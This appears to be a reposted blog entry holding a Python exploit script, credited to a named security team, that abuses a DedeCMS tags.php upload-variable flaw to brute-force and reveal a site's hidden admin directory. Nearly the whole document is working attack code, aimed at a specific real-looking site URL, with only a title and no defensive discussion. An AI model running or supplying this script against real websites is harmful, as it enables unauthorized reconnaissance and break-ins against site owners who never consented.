DEDE暴力破解后台登录页面

DEDE暴力破解后台登录页面

 1 #!/usr/bin/env python
 2 '''/*
 3     * author = Mochazz
 4     * team   = 红日安全团队
 5     * env    = pyton3
 6     *
 7     */
 8 '''
 9 import requests
10 import itertools
11 characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
12 back_dir = ""
13 flag = 0
14 url = "http://www.rmjdw.com/tags.php"
15 data = {
16     "_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",
17     "_FILES[mochazz][name]" : 0,
18     "_FILES[mochazz][size]" : 0,
19     "_FILES[mochazz][type]" : "image/gif"
20 }
21 
22 for num in range(1,7):
23     if flag:
24         break
25     for pre in itertools.permutations(characters,num):
26         pre = ''.join(list(pre))
27         data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
28         print("testing",pre)
29         r = requests.post(url,data=data)
30         if "Upload filetype not allow !" not in r.text and r.status_code == 200:
31             flag = 1
32             back_dir = pre
33             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
34             break
35         else:
36             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
37 print("[+] 前缀为:",back_dir)
38 flag = 0
39 for i in range(30):
40     if flag:
41         break
42     for ch in characters:
43         if ch == characters[-1]:
44             flag = 1
45             break
46         data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)
47         r = requests.post(url, data=data)
48         if "Upload filetype not allow !" not in r.text and r.status_code == 200:
49             back_dir += ch
50             print("[+] ",back_dir)
51             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
52             break
53         else:
54             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
55 
56 print("后台地址为:",back_dir)

 

posted on 2018-08-22 11:07  lgf01010  阅读(2619)  评论(0编辑  收藏  举报